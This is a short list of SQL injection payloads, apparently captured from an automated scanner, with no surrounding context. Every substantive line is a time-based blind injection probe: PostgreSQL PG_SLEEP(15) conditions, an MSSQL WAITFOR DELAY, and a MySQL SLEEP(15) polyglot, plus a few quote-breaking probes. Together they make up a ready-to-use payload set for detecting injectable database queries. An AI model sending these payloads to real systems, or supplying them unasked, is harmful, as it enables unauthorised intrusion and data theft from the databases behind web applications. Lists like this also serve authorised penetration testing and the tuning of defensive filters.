555-1)) OR 979=(SELECT 979 FROM PG_SLEEP(15))--

555-1) OR 29=(SELECT 29 FROM PG_SLEEP(15))--

555-1 OR 406=(SELECT 406 FROM PG_SLEEP(15))--

555X5jlafoS′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/